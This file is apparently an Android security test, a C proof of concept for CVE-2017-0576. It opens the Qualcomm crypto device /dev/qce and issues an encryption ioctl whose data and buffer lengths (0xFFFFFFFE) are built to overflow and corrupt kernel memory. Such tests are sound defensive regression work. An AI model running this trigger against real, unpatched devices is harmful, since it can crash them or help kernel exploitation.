Home | History | Annotate | Download | only in CVE-2017-0576
      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 
     18 #include <stdio.h>
     19 #include <unistd.h>
     20 #include <stdlib.h>
     21 #include <sys/ioctl.h>
     22 #include <sys/types.h>
     23 #include <sys/stat.h>
     24 #include <sys/mman.h>
     25 #include <sys/wait.h>
     26 #include <string.h>
     27 #include <fcntl.h>
     28 #include <limits.h>
     29 #include <inttypes.h>
     30 #include <errno.h>
     31 
     32 #define QCEDEV_MAX_KEY_SIZE     64
     33 #define QCEDEV_MAX_IV_SIZE      32
     34 #define QCEDEV_MAX_BUFFERS      16
     35 
     36 struct  buf_info {
     37     union {
     38 	uint32_t        offset;
     39 	uint8_t         *vaddr;
     40     };
     41     uint32_t        len;
     42 };
     43 
     44 struct  qcedev_vbuf_info {
     45     struct buf_info src[QCEDEV_MAX_BUFFERS];
     46     struct buf_info dst[QCEDEV_MAX_BUFFERS];
     47 };
     48 
     49 struct  qcedev_pmem_info {
     50     int             fd_src;
     51     struct buf_info src[QCEDEV_MAX_BUFFERS];
     52     int             fd_dst;
     53     struct buf_info dst[QCEDEV_MAX_BUFFERS];
     54 };
     55 
     56 enum qcedev_oper_enum {
     57     QCEDEV_OPER_DEC         = 0,
     58     QCEDEV_OPER_ENC         = 1,
     59     QCEDEV_OPER_DEC_NO_KEY  = 2,
     60     QCEDEV_OPER_ENC_NO_KEY  = 3,
     61     QCEDEV_OPER_LAST
     62 };
     63 
     64 enum qcedev_cipher_alg_enum {
     65     QCEDEV_ALG_DES          = 0,
     66     QCEDEV_ALG_3DES         = 1,
     67     QCEDEV_ALG_AES          = 2,
     68     QCEDEV_ALG_LAST
     69 };
     70 
     71 enum qcedev_cipher_mode_enum {
     72     QCEDEV_AES_MODE_CBC     = 0,
     73     QCEDEV_AES_MODE_ECB     = 1,
     74     QCEDEV_AES_MODE_CTR     = 2,
     75     QCEDEV_AES_MODE_XTS     = 3,
     76     QCEDEV_AES_MODE_CCM     = 4,
     77     QCEDEV_DES_MODE_CBC     = 5,
     78     QCEDEV_DES_MODE_ECB     = 6,
     79     QCEDEV_AES_DES_MODE_LAST
     80 };
     81 
     82 struct  qcedev_cipher_op_req {
     83     uint8_t                         use_pmem;
     84     union {
     85 	struct qcedev_pmem_info pmem;
     86 	struct qcedev_vbuf_info vbuf;
     87     };
     88     uint32_t                        entries;
     89     uint32_t                        data_len;
     90     uint8_t                         in_place_op;
     91     uint8_t                         enckey[QCEDEV_MAX_KEY_SIZE];
     92     uint32_t                        encklen;
     93     uint8_t                         iv[QCEDEV_MAX_IV_SIZE];
     94     uint32_t                        ivlen;
     95     uint32_t                        byteoffset;
     96     enum qcedev_cipher_alg_enum     alg;
     97     enum qcedev_cipher_mode_enum    mode;
     98     enum qcedev_oper_enum           op;
     99 };
    100 
    101 #define QCEDEV_IOC_MAGIC        0x87
    102 
    103 #define QCEDEV_IOCTL_ENC_REQ					\
    104     _IOWR(QCEDEV_IOC_MAGIC, 1, struct qcedev_cipher_op_req)
    105 #define QCEDEV_IOCTL_DEC_REQ					\
    106     _IOWR(QCEDEV_IOC_MAGIC, 2, struct qcedev_cipher_op_req)
    107 
    108 void thread_func(int fd)
    109 {
    110     struct qcedev_cipher_op_req req;
    111     unsigned int i;
    112     char *data;
    113 
    114     memset(&req, 0, sizeof(struct qcedev_cipher_op_req));
    115 
    116     data = mmap(NULL, 0xFFFFFF * 3, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);
    117     if (data == MAP_FAILED) {
    118 	exit(0);
    119     }
    120     for (i = 0; i < 0xFFFFFF * 3; i += sizeof(void*))
    121 	*((unsigned long long*)(data + i)) = 0xABADACC355001337;
    122 
    123     req.in_place_op = 1;
    124     req.entries = 2;
    125     req.byteoffset = 15;
    126     req.mode = QCEDEV_AES_MODE_CTR;
    127 
    128     req.op = QCEDEV_OPER_ENC;
    129     req.ivlen = 1;
    130     req.data_len = 0xFFFFFFFE;
    131     req.vbuf.src[0].len = 4;
    132     req.vbuf.src[1].len = 0xFFFFFFFE - 4;
    133     req.vbuf.src[0].vaddr = (uint8_t*)data;
    134     req.vbuf.src[1].vaddr = (uint8_t*)data;
    135     req.vbuf.dst[0].len = 4;
    136     req.vbuf.dst[1].len = 0xFFFFFFFE - 4;
    137     req.vbuf.dst[0].vaddr = (uint8_t*)data;
    138     req.vbuf.dst[1].vaddr = (uint8_t*)data;
    139 
    140     ioctl(fd, QCEDEV_IOCTL_ENC_REQ, &req);
    141 
    142     exit(0);
    143 }
    144 
    145 int main(void)
    146 {
    147     int fd;
    148     const char *dev = "/dev/qce";
    149 
    150     fd = open(dev, O_RDWR);
    151     if (fd < 0) {
    152 	return EXIT_FAILURE;
    153 
    154     }
    155     thread_func(fd);
    156 
    157     return EXIT_FAILURE;
    158 }
    159